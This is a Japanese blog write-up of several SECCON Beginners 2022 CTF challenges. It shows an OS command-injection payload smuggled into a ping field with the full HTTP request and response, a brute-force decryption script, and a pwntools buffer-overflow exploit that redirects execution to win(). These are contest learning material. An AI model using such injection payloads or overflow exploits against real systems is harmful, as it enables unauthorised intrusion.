LoginSignup
0
0

More than 1 year has passed since last update.

CTF writeup - Seccon beginers 2022

Posted at

大会情報

  • SECCON BEGINERS 2022
  • 2022/6/4 (土) 14:00 JST - 2022/6/5 (日) 14:00 JST
  • 形式: Online / Jeopardy

解いた問題について、その過程を解説する。

問題毎の見出しは下記ルールで記載する。

[Challenge category] challenge name (score point)

[web]Web-Util (54pt)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
https://util.quals.beginners.seccon.jp
util.tar.gz 3828bf8512e6d00316da5e290ac882e470dc9d7d

問題文で提供された添付ファイルの中にDockerfilegあり、
Webサーバ上にテキストファイルとしてフラグがあることがわかる。

//Dockerfile
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt

サイトのソースを見ると、XSSを仕込めそうな箇所が見つかる。

          if (xhr.status != 200) {
            document.getElementById("notify").innerHTML =
              "<p>Request Error : " + xhr.response + "</p>";
          } else {

BurpSuiteを使ってリクエストBodyを修正して送りつけると、
OSコマンドインジェクションができ、ファイル一覧が取得できる。
{"address":"127.0.0.1;ls ../"}

flag_A74FIBkN9sELAjOc.txt という怪しいファイルをcatで出力するリクエストを別途送ることで
問題をクリアできる。

POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Cookie: _ga=GA1.2.558864871.1654344890; _gid=GA1.2.875114735.1654344890
Content-Length: 30
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://util.quals.beginners.seccon.jp
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://util.quals.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"address":"127.0.0.1;ls ../"}

/////////////////////
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sat, 04 Jun 2022 12:43:45 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 375
Connection: close

{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.170 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.170/0.170/0.170 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

[reversing] Quiz(50pt)

クイズに答えよう!
quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204

クイズを出題するELFバイナリが提供される。

stringsコマンドでフラグに関する情報をゲットできる。

ELFバイナリを実行して、各クイズに答えるとフラグがもらえる。

[crepto]CoughingFox(55pt)

きつねさんが食べ物を探しているみたいです。
coughingfox.tar.gz c2cdda5cb20d25e40be57a72a949591b7172d143

復号プログラムを作る問題。
暗号化のロジックは添付ファイルで開示されている。

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

上記ロジックより、何文字目かという情報を使って暗号化していることがわかる。

暗号化された各文字ごとに、先頭から順に数字or小文字or大文字or記号を暗号化して一致するか総当りで試すと復号できる。
下記で復号できた。

import string

// encode Logic -> c = (f + i)**2 + i
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = []
f = "".join(string.digits + string.ascii_letters + string.punctuation)
for i in range(len(cipher)):
    for j in range(len(f)):
        for k in range(len(cipher)):
            if cipher[i] == ((ord(f[j]) + k)**2 + k):
                flag.append((k, f[j]))
                break

flag.sort(key=lambda pair: pair[0])
for key, value in flag:
    print(value, end="")
                            

[pwnable]BeginnersBof(84pt)

Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.
nc beginnersbof.quals.beginners.seccon.jp 9000
BeginnersBof.tar.gz 68c9c9cbeab6c99c936e9a6c5d381ee28efaaeaf

添付のsrc.cを見ると、標準入力から文字列を受け取って、BUFSIZEを超えた分バッファオーバーフローを使って、win()を呼び出すことでフラグを取得できることがすぐに分かる。

win()の先頭アドレスをgdbで確認すると
0x00000000004011e6であることがわかる。

gdb-peda$ pdisass win
Dump of assembler code for function win:
   0x00000000004011e6 <+0>:     push   rbp
   0x00000000004011e7 <+1>:     mov    rbp,rsp
   0x00000000004011ea <+4>:     sub    rsp,0x110
   0x00000000004011f1 <+11>:    mov    esi,0x0

image.png
引用元: https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64
IPAのサイトも参考になる。)

標準入力から受け取った文字列は、low addressからhigh addressの方向(上図の赤エリア)に格納されていくため、
RBPレジスタまで適当な文字列を格納させて、その次に0x00000000004011e6を書き込めれば、win()を呼び出すことができる。

RBPレジスタまで何文字の文字列を入力すれば良いか調べる。
バッファーが溢れる直前にブレイクポイントを貼って、長い文字列を入力しRBPレジスタがどの文字列で埋められているか確認する。

gdb-peda$ b *main+143
gdb-peda$ r
20000
abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789

image.png

RBPレジスタに6789abcdが格納されているため、
下記文字列でwin()を呼び出せることになる。

「abcdefghijklmnopqrstuvwxyz0123456789abcd + win()リターンアドレス」

win()のリターンアドレスをリトルエンディアンで並び替えると以下となる。

win()リターンアドレス = 0x00000000004011e6=\xe6\x11\x40\x00\x00\x00\x00\x00

つまり、下記を打ち込めばOK
abcdefghijklmnopqrstuvwxyz0123456789abcd\xe6\x11\x40\x00\x00\x00\x00\x00

以下、pythonスクリプト

from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols['win'] 
    #flag_symbols =  0x00000000004011e6
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    p.sendlineafter("How long is your name?", "2000")
    offset = 40
    payload = b"A" * offset
    payload += pack(flag_symbols)

    log.info("payload: {}".format(payload))
    p.sendlineafter("What's your name?", payload)

def main():
    context(arch="amd64", os="linux")

    if args["REMOTE"]:
        p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
    else:
        p = process("./chall")
    
    binf = ELF("./chall")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()
}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0